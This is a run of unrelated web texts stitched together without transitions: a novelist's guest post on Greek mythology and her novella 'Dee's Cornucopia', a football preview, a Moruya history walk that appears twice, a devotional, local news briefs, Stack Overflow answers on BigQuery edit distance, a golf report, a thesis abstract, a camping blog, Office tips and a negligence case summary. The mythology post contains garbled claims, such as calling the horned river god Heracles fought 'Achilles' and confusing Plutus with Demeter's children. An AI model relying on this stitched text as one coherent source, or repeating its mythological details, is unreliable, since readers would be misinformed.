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DEE'S CORNUCOPIA by Jeny Heckman
08 Wednesday Sep 2021
series, Jeny Heckman, Greek mythology, Heaven and Earth, Dee's Cornucopia, The Sea Archer, The Quest
Please welcome Jeny Heckman! She's here to tell us how her lifelong interest in Greek mythology inspired her latest release, Dee's Cornucopia. Take it away, Jeny!
Reading Ancient Greek Mythology in my childhood developed a deep interest in reading which prompted me to read many other books over the years. I love the ancient soap opera-like cast of Greek gods and goddesses. I was fascinated by tales of gods and goddesses, especially heart-breaking tragedies. Books on Greek mythology or containing an element of Greek mythology are one of my favorite reads. They inspired me to create my own stories about Greek gods and goddesses.
Dee's Cornucopia is book 2.5 of my Heaven and Earth series, which is a fantastic series about the descendants of the Greek gods in modern times. The heroine of Dee's Cornucopia is Dee (Walker) Taylor, a feisty grandmother from the Heaven & Earth series. She is a fan favorite. She doesn't tolerate nonsense. Dee is a spark plug that makes everyone jump around her.
Dee's Cornucopia tells the story of Dee's life, from meeting her beloved husband to experiencing a personal tragedy and communing with Demeter, the Greek goddess of abundance. … So, entitling her book, Dee's Cornucopia was a no brainer for me! Dee creates abundance! Dee is a breeder! She can grow anything! The Cornucopia is also the name of Dee's nursery in Hawaii.
In classical antiquity, the cornucopia (/ ˌkɔːrnjəˈkoʊpiə, ˌkɔːrnə-, ˌkɔːrnu-, ˌkɔːrnju- /), from the Latin cornu (horn) and copia (abundance), also called the cornucopia. The corn of abundance was a symbol of plenty and food, usually it's large horn-shaped container filled with produce, flowers, or nuts. Baskets or panniers in this form have traditionally been used in Western Asia and Europe to store and carry newly harvested food items. The horn-shaped basket was carried on the back or wrapped around the torso, leaving the harvester's hands free to gather. Many ancient Greek statues depict one or the other God holding a cornucopia full of riches.
Its origins began with the story of the birth and the feeding of baby Zeus (the god of the Greeks and the god of thunder).
Zeus was the youngest son of the Titans, Cronus and Rhea. Cronus ate Zeus's siblings: Poseidon, Hades, Hestia, Demeter, and Hera. However, Rhea, his mother, had a plan. She gave Cronus a rock swaddled like a baby to eat instead, and hid baby Zeus in a cave on the Island of Crete.
In the cave Zeus was raised in secret with the help of nymphs and a goat named Amalthea. Her milk helped young Zeus grow strong. One day, when Zeus was playing with Amalthea, he accidentally broke one of her horns with his superpower. But Zeus being Zeus, he also had an unusual ability. The broken horn was touched by his divine power, providing endless nourishment.
Soon came the day when Zeus was mature enough to claim the Kingdom of the World. However, Amalthea had two parting gifts for Zeus – her skin and one of her horns. She was then placed among the stars in Capra, the constellation surrounding Capella.
Her hide was used to create Zeus's mighty thunder shield, Aegis. When the constellation Capra rises, it marks the start of the stormy season on the coasts of Greece. In ancient Greek, the word "aigis" means both "stormy weather" and "goat skin".
As I mentioned earlier Amalthea's horn had a special ability. It would give the owner whatever they wanted. Did you want food? No problem! Did you want more money? No problem again! As a special thanks to Melisseus, the king of Crete who helped hide young Zeus, the horn was given as a gift to his daughters.
Zeus went on to liberate his brothers and sisters by giving Cronus an herb that made him vomit them up. They then battled Cronus and the other Titans in the underworld, Tartarus. After overthrowing Cronus, Zeus was confronted with giants and the monster, Typhon, which he both defeated successfully.
The time had come for Zeus and his siblings to rule. According to Greek Mythology, Zeus drew lots with his brothers Poseidon and Hades to let luck determine who would be king of the gods. Zeus won the draw and became the ruler of the Earth and Sky. He was also considered the Lord of Mount Olympus, the highest mountain in Greece. Read more about Prophecy that started my Heaven & Earth Series in the Sea Archer the first book of my Heaven & Earth Saga and get the Quest, my interactive FREE book, to learn more about Zeus and some of the other gods.
Another Greek myth tells the story of Heracles (also known as the Roman demigod Hercules). He bestowed strength against the horned river god Achilles and brought it out of the horns to create a cornucopia.
The cornucopia is also associated with various Greek and Roman gods that represent harvest, prosperity, or spiritual abundance. Some of these deities are the incarnations of the earth, named Gaia or Terra. Other incarnations depict the children of Plutus, the sons of Demeter, the god of wealth, and the goddess of grain.
Even Hades, the god of the underworld, gives mortals agriculture, minerals, and spiritual wealth. In art, he is often depicted as holding a cornucopia.
Modern-day marketing is using many Greek mythology symbols. 21st Century has carried the symbolism of the horn of plenty. Large, flared bowls filled with fruits and vegetables are common in autumn decorations. The modern-day cornucopia is made of various materials, such as metal, wood, ceramics, stone, and the most common basket wicker. It can contain fruits, vegetables, nuts, grains, and bread, or leaves, flowers, or even cattails.
A little more about Dee's Cornucopia:
Dee Walker can kick your ass. At least she thinks so and isn't afraid to say it. A no-nonsense spark plug, Dee keeps everyone around her hopping. She meets fellow field hand, Arthur Taylor, and her colorful world becomes even brighter when she makes him an offer he can't turn down.
However, this story of a bright explosion of color in a monochromatic world isn't what you might imagine, as Dee's life doesn't exactly turn out like she thinks it will.
This novella is the life story of Dee Taylor, the feisty and eccentric grandmother of Finn in the Heaven & Earth series. Her bright colorful muumuu's and big floppy hat are her trademarks and this story will tell you how it all began. She also has this little ability to see future developments. Oh, and commune with the greatest Greek family in history, but she just doesn't know it… yet.
A peek between the pages:
"My God, it's hotter than a billy goat's ass in a pepper patch out there," Dee announced as she entered the office furnished with the rich fragrance of leather, old wood, coffee, and tobacco smoke.
Her boss, Bert Norton, sat hunched at his desk, puffing on his ancient pipe. His gaze snapped to hers, and he gave the merest hint of a smile before frowning at her crass expression. The two fellows, also occupying the room, stood a little straighter at her appearance, but gave each other surreptitious glares. They wore identical uniforms of scarred leather boots, dusty work trousers and damp cotton shirts, right down to the sweat-stained field-hand hats squeezed together in their enormous fists.
"Ah, sorry?" Dee phrased it almost like a question and raised her eyebrows at all the testosterone in the small space.
"Deidre, please, take a seat." Bert gestured to one of the broad wing-back chairs occupying the area in front of his desk.
The two imposing men shifted their weight from foot to foot in apparent agitation. If I sit in that chair, I'll look weak. Possessing a vagina created enough of a disadvantage chasm already.
"Thanks, Mr. Norton, I'll stand. No sense in giving anyone the upper hand, right?" she quipped and slapped her hands on her hips, shifting her own weight from side to side. The corner of her boss's lips twitched, but he sighed, and they both looked over at the two workers.
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More about Jeny:
Jeny Heckman is the award-winning Paranormal and Fantasy Romance author of the Heaven & Earth series. Since her series debut in 2018, Jeny has captured the imagination and inspired the journey of readers worldwide.
Volume One, the Sea Archer, received the esteemed, "Best in Category" award from the 2018 Chanticleer International Book Awards for Paranormal Romance. Two years later, the Warrior's Progeny also won "Best in Category" from the Chanticleer International Book Awards for the Fantasy Romance genre, as well as earned the Crown Heart of Excellence from InD'Tale Magazine. Her standalone Women's Fiction novel, entitled Releasing the Catch, was a finalist in the Feathered Quill awards, likewise received in 2020.
Jeny loves working with her charities, which include Hospice of the Northwest, the Michael J. Fox Parkinson's Foundation, the Seattle Children's Hospital, and the American Cancer Society.
Jeny lives in the Pacific Northwest with her husband of over twenty-eight years.
Where to find her:
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Thanks for joining us today, Jeny. Wishing you all the best with Dee's Cornucopia!
4 thoughts on "DEE'S CORNUCOPIA by Jeny Heckman"
Ilona Fridl said:
I've always loved Greek myths! Your series sounds so good. Best with it!
Judith Sterling said:
It does sound intriguing! Thanks for stopping by, Ilona. 🙂
bbettis1hotmailcom said:
Jeny, I've always loved the Greek myths too! I can remember reading the myths from forever. (Ok, maybe I'm not Quite 'forever' old, still… 🙂 This book, the the series, sound terrific. Sending good wishes.
The mythology is fascinating! Thanks so much for joining us, Barb. 🙂


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St.Marys' quarterbackl Braeden Dunlap (14) has seen his role expand as the Rider signal caller. Dunlap is not only a threat to run but to pass the ball and this year he has more than 200 yards through the air and five touchdowns with no interceptions.
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But don't be surprised if the Roughriders throw more than you think when they face Kenton in a key Western Buckeye League showdown Friday nights.
When asked if expects to "out pass" Kenton, Frye replies with a slight smile and a chuckle.
Both teams are undefeated in the WBL with identical 3-0 marks. St. Marys owns a 4-0 overall mark and Kenton is 3-1 with an opening game loss to powerhouse Coldwater.
Frye said there are three reasons why St. Marys is once again undefeated and ranked No. 1 in Division IV and that is a solid coaching staff that has been together for five years, depth and the relationship that has developed between the coaches and players that led to a strong work ethic by both parties.
Against Ottawa-Glandorf earlier this year, the Riders introduced their own version of the wildcat offense where the quarterback's options includes the pass and it proved effective against the Titans in a 35-7 victory.
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Frye said the game against the Indians is typical of the WBL where any team at any time can come up and give you a run for your money.
The Roughriders will have their hand's full stopping the passing attack of Kenton. Led by the dual threat quarterback, Jaron Sharp, the Wildcats offense is averaging 424 total yards a game.
The Roughrider defense is ranked No. 1 defense in the WBL giving up an average of 212 yards.
Frye said being a defensive coordinator has probably been the toughest job the last 10 or 15 years with the introduction of the pass happy offense and Kenton was one of the first schools to embrace it and he is looking for his defensive coordinator Nick Yahl to come up with a plan to stop the high octane Wildcats.
Frye added that what is different about Kenton's is that they do it better than any other team out there.
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Moruya and District Historical Society travels back to the 1940s. It's time to jump back in our time machine and touch down in the mid 1940s, Moruya's "Golden Years" of the granite quarry are over. During The War years men had been stationed at the Aerodrome at North Head with many billeted with families in town. Again we land on Mullenderree just near the Criterion Hotel, a two storey timber building with verandahs facing the river on both storeys each over 100 feet in length and having wrought iron railings. Locals tell us the story of a family of pigs who were washed down stream in the 1925 flood. They found their way upstairs as the flood waters rose and stayed put until it was safe to come down again. But we have a problem! It is just like the first time our time machine visited – there is no bridge! It has been washed away by the 1945 flood. We don't have to swim our horses across this time – there is a ferry or we could go back to Larry's Mountain Road and take the back roads through Kiora and reach Moruya that way. A lot of heavier traffic have to do this including transports and milk truck taking milk through to the Horlicks factory at Bomaderry near Nowra. We elect to go across on the ferry and we are once again in Vulcan Street. We decide to walk up the western side of the street and return on the eastern side. First there are a couple of old houses, then a barber's shop, ladies hairdressers and dress shop. Then comes a café owned by the Filmer family, then a lane way leading up to the Convent and Catholic School. Next comes the brown brick building of the Commonwealth Bank. (Still there but no longer the bank). On the corner of Church and Vulcan Streets is Irving's garage. Across Church Street is a Stock and Station Agency and then the granite building of the Bank of NSW. We've seen this before. Next comes an empty block with some sheds. The Court House looks as good as when we saw it last. The police station and lock-up are around the corner in Queen Street. Crossing Queen Street we find Mylott's have a lovely new shop and bakery. The shop has black tiles and leadlight windows. (Now the Commonwealth Bank). We find that Keating's Moruya Hotel has burnt down a couple of years ago. Such a pity as it was quite striking when we visited in the 1920s. A temporary bar has been set up in the old stables at the back and nicknamed the Air Raid shelter, shortened to the Air Raid. (Name is carried on in the "Air Raid Bar" in the rebuilt hotel.) The little park next door has a fence around it with a path through to Campbell Street and a turnstile at each of the path to keep any stray animals out. Across Campbell Street is Flood and Gillett's Garage. (Now the site of the Eurobodalla Shire Offices). And so we come to the "Pink Gates" still painted pink and still the entrance to "The Park", the racetrack and Show ground. It has a football field where locals strongly support their teams. As we look to the east we see the South Head Road and we are pleased to get a glimpse of "Braemar' Homestead. Now we turn around and start back on the eastern side. The first couple of paddocks are low lying and swampy. The locals tell us the circus would sometimes set up its big top here when it came to town, but it is not here today. Then there are a couple of little shops, Faraday's dry cleaners and Jack Woods' shoe repairs. The old Amusu Theatre is still there but not receiving much use. (Later Emmotts Furniture Department, now Silly Willy's). A new picture theatre is up in Queen Street called the Orion. It shows talking movies. A fuel depot is next and then a block of shops extending to the Queen Street corner. First in these is a dwelling with cream render on the outside. Next were some shops including a Donnelly's butcher's shop, Koellner's sporting goods and radio repairs shop, and right on the corner Garney Chewing's shop selling greengroceries, ice cream, cigarettes, lollies. These shops are clad with lovely blue tiles. Across Queen Street is Emmotts Store and the residence, followed by Woodbridge, the solicitor. The Commercial Bank is still there. Michel and John Nader have a men's wear shop next with Ernie Chesher's shoe shop. Clarrie Chesher has a grocery shop next. We stop off at the next shop which is the Red Rose Café. We think we deserve a treat so some of us have banana splits while others chose ice cream cake and caramel sauce. (Red Rose, remodelled but still there). There is still an hotel on the site of the old Commercial which we visited on previous occasions. It was built by Mr King and renamed the Monarch. Mrs Ware has a gift shop on the corner of Vulcan and Church Streets while Mr Ware runs the old Weatherby Chemist shop. There is a fruit and vegie shop run by the Norman family, a barber's shop and Mrs Nader's shop. Then comes the newsagency run by the Johnson family and later Allan and Marie Stormon. Price's Café is next and then the Adelaide Hotel, looking much the same as when we saw it last. Now we are back at the bridge but before we leave we would like to check out a few of the old buildings. The Catholic, Wesleyan, (now called Methodist), and Church of England churches all have substantial impressive granite or brick buildings. The Presbyterian is still of timber. In Page Street there are two halls, the Mechanics Institute and the Masonic. There are two schools, the public, now called the Central School which goes to the Intermediate Certificate, and St Mary's Convent School.
Moruya and District Historical Society travels back to the 1940s.
It's time to jump back in our time machine and touch down in the mid 1940s, Moruya's "Golden Years" of the granite quarry are over.
During The War years men had been stationed at the Aerodrome at North Head with many billeted with families in town.
Again we land on Mullenderree just near the Criterion Hotel, a two storey timber building with verandahs facing the river on both storeys each over 100 feet in length and having wrought iron railings.
Locals tell us the story of a family of pigs who were washed down stream in the 1925 flood.
They found their way upstairs as the flood waters rose and stayed put until it was safe to come down again.
But we have a problem! It is just like the first time our time machine visited – there is no bridge! It has been washed away by the 1945 flood.
We don't have to swim our horses across this time – there is a ferry or we could go back to Larry's Mountain Road and take the back roads through Kiora and reach Moruya that way.
A lot of heavier traffic have to do this including transports and milk truck taking milk through to the Horlicks factory at Bomaderry near Nowra.
We elect to go across on the ferry and we are once again in Vulcan Street.
We decide to walk up the western side of the street and return on the eastern side.
First there are a couple of old houses, then a barber's shop, ladies hairdressers and dress shop.
Then comes a café owned by the Filmer family, then a lane way leading up to the Convent and Catholic School.
Next comes the brown brick building of the Commonwealth Bank. (Still there but no longer the bank).
On the corner of Church and Vulcan Streets is Irving's garage. Across Church Street is a Stock and Station Agency and then the granite building of the Bank of NSW. We've seen this before.
Next comes an empty block with some sheds. The Court House looks as good as when we saw it last. The police station and lock-up are around the corner in Queen Street.
Crossing Queen Street we find Mylott's have a lovely new shop and bakery. The shop has black tiles and leadlight windows. (Now the Commonwealth Bank).
The little park next door has a fence around it with a path through to Campbell Street and a turnstile at each of the path to keep any stray animals out.
Across Campbell Street is Flood and Gillett's Garage. (Now the site of the Eurobodalla Shire Offices). And so we come to the "Pink Gates" still painted pink and still the entrance to "The Park", the racetrack and Show ground. It has a football field where locals strongly support their teams.
As we look to the east we see the South Head Road and we are pleased to get a glimpse of "Braemar' Homestead.
Now we turn around and start back on the eastern side. The first couple of paddocks are low lying and swampy. The locals tell us the circus would sometimes set up its big top here when it came to town, but it is not here today. Then there are a couple of little shops, Faraday's dry cleaners and Jack Woods' shoe repairs. The old Amusu Theatre is still there but not receiving much use. (Later Emmotts Furniture Department, now Silly Willy's).
A new picture theatre is up in Queen Street called the Orion. It shows talking movies. A fuel depot is next and then a block of shops extending to the Queen Street corner. First in these is a dwelling with cream render on the outside. Next were some shops including a Donnelly's butcher's shop, Koellner's sporting goods and radio repairs shop, and right on the corner Garney Chewing's shop selling greengroceries, ice cream, cigarettes, lollies. These shops are clad with lovely blue tiles.
Across Queen Street is Emmotts Store and the residence, followed by Woodbridge, the solicitor. The Commercial Bank is still there. Michel and John Nader have a men's wear shop next with Ernie Chesher's shoe shop. Clarrie Chesher has a grocery shop next.
We stop off at the next shop which is the Red Rose Café. We think we deserve a treat so some of us have banana splits while others chose ice cream cake and caramel sauce. (Red Rose, remodelled but still there). There is still an hotel on the site of the old Commercial which we visited on previous occasions. It was built by Mr King and renamed the Monarch.
Mrs Ware has a gift shop on the corner of Vulcan and Church Streets while Mr Ware runs the old Weatherby Chemist shop. There is a fruit and vegie shop run by the Norman family, a barber's shop and Mrs Nader's shop. Then comes the newsagency run by the Johnson family and later Allan and Marie Stormon. Price's Café is next and then the Adelaide Hotel, looking much the same as when we saw it last.
Now we are back at the bridge but before we leave we would like to check out a few of the old buildings. The Catholic, Wesleyan, (now called Methodist), and Church of England churches all have substantial impressive granite or brick buildings. The Presbyterian is still of timber.
In Page Street there are two halls, the Mechanics Institute and the Masonic. There are two schools, the public, now called the Central School which goes to the Intermediate Certificate, and St Mary's Convent School.
Moruya River, bridge and township in the late 1940s.
The Orion Picture Show looks humble by today's standards, but dreams were born here.
Vulcan Street in the 1940s.
Take a time machine to Moruya in the 1940s.
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In this passage we see the first perfect relationship and partnership between Adam and Eve. Through Satan's deception, we also see the first breakdown in the relationship. Fear was introduced to Adam and Eve. Fear can destroy relationships in various ways; (a) through fear of exposure of who we really are, (b) fear of disappointment that makes us defensive and (c) fear of losing control. God does not expect us to be perfect, but He does expect us to be honest with ourselves and each other. Adam and Eve lived in co-operation, but after sinning, lived in competition. To overcome fear in relationships, or any aspect of our life, we need to experience God's love and surrender our life to Him. We need to remember that God accepts, loves, forgives and values us.


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Stories from Saturday, August 14, 2021
Wendy's moving (Local News ~ 08/14/21)
During Tuesday night's meeting, the Blytheville Planning Commission approved a lot split and reviewed plans for Wendy's, which will be moving to 3779 East Main, near Hardee's. No details were provided when the move will take place. The current house on the property will be demolished. Wendy's is acquiring one of the two acres on the lot, which is why the fast food giant requested a lot split...
Mayor opts not to reappoint longtime Planning chair (Local News ~ 08/14/21)
The Blytheville Planning Commission elected a new chairman and new secretary on Tuesday, after longtime chairman Jim McClain was not reappointed to the board. Elaine Goff will serve as the new chairman, and Vivian Harrison was selected as secretary, which was previously held by Goff...
Blytheville committee meeting gets heated (Local News ~ 08/14/21)
A fiery Blytheville City Council Police and Fire committee meeting was held on Aug. 10 and was initiated by a recurring issue for the committee. Businesses operating without a license and creating a nuisance in the city, specifically on Main Street, sparked a three-hour discussion...
Voters approve economic dev. tax extension (Local News ~ 08/14/21)
Mississippi County voters passed a 10-year extension for the one-half cent sales and use tax for economic development with a 60.22 percent margin — 557-368. The vote will extend the tax from June 30, 2023, to June 30, 2033. A total of 925 voted in the special election. There are 20,515 registered voters in Mississippi County, according to the county clerk's office, meaning about 4.5 percent cast ballots in Tuesday's election...
Mr. Davis Pickles 'Best of Arkansas' (Local News ~ 08/14/21)
Dedric Davis of Blytheville is becoming well known for his Mr. Davis brand of pickles. Mr. Davis Pickles was recently named "Best of Arkansas" and he was featured on the cover of the August 2021 edition of Arkansas Times. Davis has a unique business creating new varieties of pickles including bread and butter in several flavors including sweet and spicy, sweet, dill, sour and more.In addition to his pickles he has pickled tomatoes, pickled eggs, chow chow and more. ...
Gosnell fills council seat (Local News ~ 08/14/21)
During Tuesday night's meeting, the Gosnell City Council appointed Terry Byrd, Sr., to fill the Ward 3 seat left vacant by Steve Nelson, who resigned in June. Byrd was picked over other candidates Wayne Breckenridge, Dal Freeman, and Chris Holifield...
Board members make top picks for superintendent (Local News ~ 08/14/21)
At the request of Blytheville School Board member Erin Carrington, some board members have listed their top candidates for the superintendent position. According to interim superintendent Jennifer Blankenship, three of the eight board members have emailed her their top selections, and she released those emails through an Arkansas Freedom of Information request...
County board discusses progress on Osceola courthouse (Local News ~ 08/14/21)
The Mississippi County Energy and Property Committee met Aug. 11 to discuss progress on the Osceola courthouse project. Committee chair Molly Jackson confirmed that a completion range is set for the end of October. From there, architect Aaron Ruby would move forward with a punch list to find and resolve any issues with the renovations...
Sanders: 'There's a war going on' against Covid (Local News ~ 08/14/21)
COVID-19 numbers are continuing to rise throughout Northeast Arkansas as reported by Blytheville Mayor James Sanders on Aug. 11. "There's a war going on, and it's all about the preservation of lives and with information, we hope to combat the spread of this virus," Sanders said...
Justices move forward on unpaid claims (Local News ~ 08/14/21)
Mississippi County Finance Committee, along with other justices, county officials and attorneys, met on Thursday evening to discuss options to take care of employee's unpaid insurance claims from 2019. The county is presently in arbitration with the former insurance carrier over unpaid claims...
Gosnell hires coach, approves purchases (Local News ~ 08/14/21)
The Gosnell School Board met on Tuesday, hiring Charlie Sullivan as a teacher, junior high basketball coach and assistant high school basketball coach. Sullivan served as assistant coach to Gosnell interim head coach David Hixson, for 12 years, when he coached at Blytheville, and he played for Hixson at Blytheville High School...
Chicks to play benefit game at WM (Local News ~ 08/14/21)
Blytheville Chickasaw football fans will get their first look at new BHS head coach Greg Ruffin's squad on Tuesday night, when the Chicks travel to West Memphis for a benefit game. Action begins at 6 p.m., and the format will be short yardage goal line and situational plays...


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Q: How to count letter differences of two strings in bigquery? For example i have:
1: 6c71d997ba39
2: 6c71d997d269

I need to get 4.

A: You can consider using Levenshtein distance for your use-case

the Levenshtein distance is a string metric for measuring the difference between two sequences. Informally, the Levenshtein distance between two words is the minimum number of single-character edits (insertions, deletions or substitutions) required to change one word into the other

Below example is for BigQuery Standard SQL
#standardSQL
CREATE TEMPORARY FUNCTION EDIT_DISTANCE(string1 STRING, string2 STRING)
RETURNS INT64
LANGUAGE js AS """
  var _extend = function(dst) {
    var sources = Array.prototype.slice.call(arguments, 1);
    for (var i=0; i<sources.length; ++i) {
      var src = sources[i];
      for (var p in src) {
        if (src.hasOwnProperty(p)) dst[p] = src[p];
      }
    }
    return dst;
  };

  var Levenshtein = {
    /**
     * Calculate levenshtein distance of the two strings.
     *
     * @param str1 String the first string.
     * @param str2 String the second string.
     * @return Integer the levenshtein distance (0 and above).
     */
    get: function(str1, str2) {
      // base cases
      if (str1 === str2) return 0;
      if (str1.length === 0) return str2.length;
      if (str2.length === 0) return str1.length;

      // two rows
      var prevRow  = new Array(str2.length + 1),
          curCol, nextCol, i, j, tmp;

      // initialise previous row
      for (i=0; i<prevRow.length; ++i) {
        prevRow[i] = i;
      }

      // calculate current row distance from previous row
      for (i=0; i<str1.length; ++i) {
        nextCol = i + 1;

        for (j=0; j<str2.length; ++j) {
          curCol = nextCol;

          // substution
          nextCol = prevRow[j] + ( (str1.charAt(i) === str2.charAt(j)) ? 0 : 1 );
          // insertion
          tmp = curCol + 1;
          if (nextCol > tmp) {
            nextCol = tmp;
          }
          // deletion
          tmp = prevRow[j + 1] + 1;
          if (nextCol > tmp) {
            nextCol = tmp;
          }

          // copy current col value into previous (in preparation for next iteration)
          prevRow[j] = curCol;
        }

        // copy last col value into previous (in preparation for next iteration)
        prevRow[j] = nextCol;
      }

      return nextCol;
    }

  };

  var the_string1;

  try {
    the_string1 = decodeURI(string1).toLowerCase();
  } catch (ex) {
    the_string1 = string1.toLowerCase();
  }

  try {
    the_string2 = decodeURI(string2).toLowerCase();
  } catch (ex) {
    the_string2 = string2.toLowerCase();
  }

  return Levenshtein.get(the_string1, the_string2)

""";

WITH strings AS (
  SELECT '1: 6c71d997ba39' string1, '2: 6c71d997d269' string2
)
SELECT string1, string2, EDIT_DISTANCE(string1, string2) changes
FROM   strings

with result
Row     string1             string2             changes
1       1: 6c71d997ba39     2: 6c71d997d269     4

A: SELECT
  (SELECT COUNTIF(c != s2[OFFSET(off)])
   FROM UNNEST(SPLIT(s1, '')) AS c WITH OFFSET off) AS count
FROM dataset.table

A: Source: https://stackoverflow.com/a/57499387/11059644
Ready to use shared UDFs - Levenshtein distance:
SELECT fhoffa.x.levenshtein('felipe', 'hoffa'), fhoffa.x.levenshtein('googgle', 'goggles'), fhoffa.x.levenshtein('is this the', 'Is This The')

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Q: Dealing with cross browser functionality using javascript I have a JavaScript file that detects which browser is being used. I'm not sure if this is isn't a proper way to compensate for different browsers, but I'd like to use a different div based on which browser is being used.
I have a very basic page and I'd like to use something like this, but both of my "main" divs are showing up. Is there a way to do this using javascript?

A: You never want to have something like this, you should use one HTML system for everything. And use CSS and conditional tags in CSS to solve any cross browser issues.
Also you shouldn't rely on user agent strings to determine a browser.


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MacDill integrates training with Barksdale AFB B-52s
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Women's Professional Golf Tour 2016, leg-17: Vani claims her seventh title
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Noida: Vani Kapoor carded 1 over 73 in the final round to win the 17th and final leg of the Hero Women's Professional Golf Tour 2016 at the Noida Golf Course here on Friday. In a nail biting finish, Vani overcame a strong challenge from Smriti Mehra who finished second with a score of 223, to claim her seventh title of this season. This win also keeps her at par with Smriti Mehra who previously held the record for most wins in a season. The INR 6,00,000 event culminated today.
Delhi's Vani Kapoor had an indifferent start, carding a birdie less front nine with bogeys on the 6th and 9th holes. She stepped up her game in the back nine, carding birdies on the 11th and 17th holes while dropping a shot on the 12th. She finished with a total score of 221 after 54 holes.
Kolkata's Smriti Mehra started with aplomb, carding birdies on the 1st and 2nd holes. She went on to card birdies on the 7th and 8th holes while dropping shots on the 3rd and 9th in her front nine. However, she could not replicate her front nine performance and undid the good work carding bogeys on the 10th,12th,15th and 18th holes, with her lone birdie on the 13th. She finished in second position with a score of 223.
Also Read: Vani Kapoor wins first leg of Hero Women's Professional Golf Tour 2016
Noida's Vaishavi Sinha finished third with a total score of 226 after the final round. Her card on the day included a birdie less front nine with bogeys on the 2nd,3rd and 9th holes, and also a double on the 4th. In her back nine she made an impressive comeback and carded birdies on the 13th,15th,17th and 18th holes while dropping a shot on the 16th. Panchkula's Amandeep Drall carded five over 77 in the final round to take the fourth position. Her card included a lone birdie on the 17th hole, with bogeys on the 1st,3rd,4th and 15th. She also carded a double bogey on the 9th.
Kolkata's Neha Tripathi took the fifth position with a score of 230 after the final round, carding birdies on the 11th,14th and 17th holes. She dropped a shot on the 15th and carded a triple bogey on the 7th. She was followed by Hero MotoCorp sponsored Sharmila Nicollet who took the sixth position with a total score of 231 after 54 holes.
After a short break, the new season of the Hero Women's Professional Golf Tour will commence from Ahmedabad in January 2017.
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Optimization of Audio Processing algorithms (Reverb) on ARMv6 family of processors
Farzad Abari
Audio processing algorithms are increasingly used in cell phones and today's customers are placing more demands on cell phones. Feature phones, once the advent of mobile phone technology, nowadays do more than just providing the user with MP3 play back or advanced audio effects. These features have become an integral part of medium as well as low-end phones. On the other hand, there is also an endeavor to include as improved quality as possible into products to compete in market and satisfy users' needs. Tackling the above requirements has been partly satisfied by the advance in hardware design and manufacturing technology. However, as new hardware emerges into market the need for competence to write efficient software and exploit the new features thoroughly and effectively arises. Even though compilers are also keeping up with the new tide space for hand optimized code still exist. Wrapped in the above goal, an effort was made in this thesis to partly cover the competence requirement at Multimedia Section (part of Ericsson Mobile Platforms) to develope optimized code for new processors. Forging persistently ahead with new products, EMP has always incorporated the latest technology into its products among which ARMv6 family of processors has the main central processing role in a number of upcoming products. To fully exploit latest features provided by ARMv6, it was required to probe its new instruction set among which new media processing instructions are of outmost importance. In order to execute DSP-intensive algorithms (e.g. Audio Processing algorithms) efficiently, the implementation should be done in low-level code applying available instruction set. Meanwhile, ARMv6 comes with a number of new features in comparison with its predecessors. SIMD (Single Instruction Multiple Data) and VFP (Vector Floating Point) are the most prominent media processing improvements in ARMv6. Aligned with thesis goals and guidelines, Reverb algorithm which is among one of the most complicated audio features on a hand-held devices was probed. Consequently, its kernel parts were identified and implementation was done both in fixed-point and floating-point using the available resources on hardware. Besides execution time and amount of code memory for each part were measured and provided in tables and charts for comparison purposes. Conclusions were finally drawn based on developed code's efficiency over ARM compiler's as well as existing code already developed and tailored to ARMv5 processors. The main criteria for optimization was the execution time. Moreover, quantization effect due to limited precision fixed-point arithmetic was formulated and its effect on quality was elaborated. The outcomes, clearly indicate that hand optimization of kernel parts are superior to Compiler optimized alternative both from the point of code memory as well as execution time. The results also confirmed the presumption that hand optimized code using new instruction set can improve efficiency by an average 25%-50% depending on the algorithm structure and its interaction with other parts of audio effect. Despite its many draw backs, fixed-point implementation remains yet to be the dominant implementation for majority of DSP algorithms on low-power devices.
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Such an unusual name, such a beautiful place. For those unfamiliar with Tettegouche, it is a State Park in Minnesota north of Duluth along Lake Superior. I first visited Tettegouche on a solo journey in October, 2001, during a time of self inspection and reflection. I took my very first digital camera with me, a Nikon Coolpix 2100, all 2.1 megapixels worth, and shot some pretty cool pictures of my adventures during a short visit during peak foliage season.
The park has a rustic camp with cabins. You hike your things in and out of the site. While the cabins have no running water, they do have electricity. There is also a bathroom/shower complex on site. But they don't tell you about the 300 feet of vertical climb on the 1.5 mile hike!
But the best thing about this park for me has been the trips that I've taken there with my dad and brothers. We surprised my dad in October, 2006, and swept him away for a few days to go camp together. We had such a great time that we've continued the annual father/son camping trip every year since, picking a different Minnesota State Park to visit each fall. In 2010, we returned to Tettegouche for a second time, a little earlier in September, and were blown away again by the breathtaking views of the foliage and Lake Superior via the overlooks on our many hikes.
This fall, to celebrate the 10th anniversary of our camping trips, we are returning once again to Tettegouche. I can't wait to go back with my dad and brothers to Cabin B by the lake for some hiking, photography and Euchre games!


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The September update of Office 365 includes some major additions and changes to tools such as Microsoft Teams, PowerPoint, and Excel, just to name a few. It is important to keep up with these developments, so here is a list of the major advancements of which you need to be aware.
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Have you ever prepared a presentation on one computer and had it looking just perfect, only to open it up on another computer and the fonts looked totally different? There is a way to keep this from happening: embedding the fonts in the PowerPoint deck when you save it.
Go to Save As > Browse > and then go to the Tools drop-down box in the bottom corner of the dialog box. In the Tools drop-down, click on Save options. Toward the bottom of the box that pops up, you will see an option to "Embed fonts in the file." Check that box, then click OK and save as you normally would.
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With this integration that uses the 'For a selected row trigger' and the Flow launch panel, you can create and trigger on-demand flows for selected rows in any Excel table on spreadsheets hosted in SharePoint or OneDrive for Business.
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Users have been requesting more visualization tools for their data contained in Access, and that is exactly what Microsoft has provided. Not only have charts been made easier and more intuitive to create, but additional chart types have also been added. For power users who developed their own Active-X solutions to the challenge of creating charts for forms and reports, their solutions will continue to work.
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Microsoft has also added an "Ask A Question" to the Power BI Desktop which will be globally available in the client. What this means is that you can use natural language queries to explore your data and allow report users to ask their own questions.
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Compensation for kidney stone left untreated for too long
Our client, Mr H, first reported painless blood in his urine to his GP in 1990. He then came back to the same GP in 1991 and was appropriately referred to a hospital. Mr H was diagnosed with a kidney stone in his left kidney.
Unfortunately neither the GP nor the hospital followed up on the original diagnosis and by 1993 the stone had moved into the ureter. By then the stone was causing Mr H considerable pain, and after being referred to the hospital attempts were made to push the stone back into the kidney. Unfortunately the attempts were unsuccessful and Mr H further underwent lithotripsy, a procedure which uses shock waved to destroy kidney stones.
Mr H contacted our Clinical Negligence team in 1994 shortly after the stone was successfully shattered by lithotripsy. After the medical records had been examined, a dispute ensued between the GP and the hospital as to who was responsible for failing to recall the patient. If Mr H had been treated in 1991 he would have avoided 12 months of increasing pain and several procedures under anaesthetic to place the nephrostomy tube and stent.
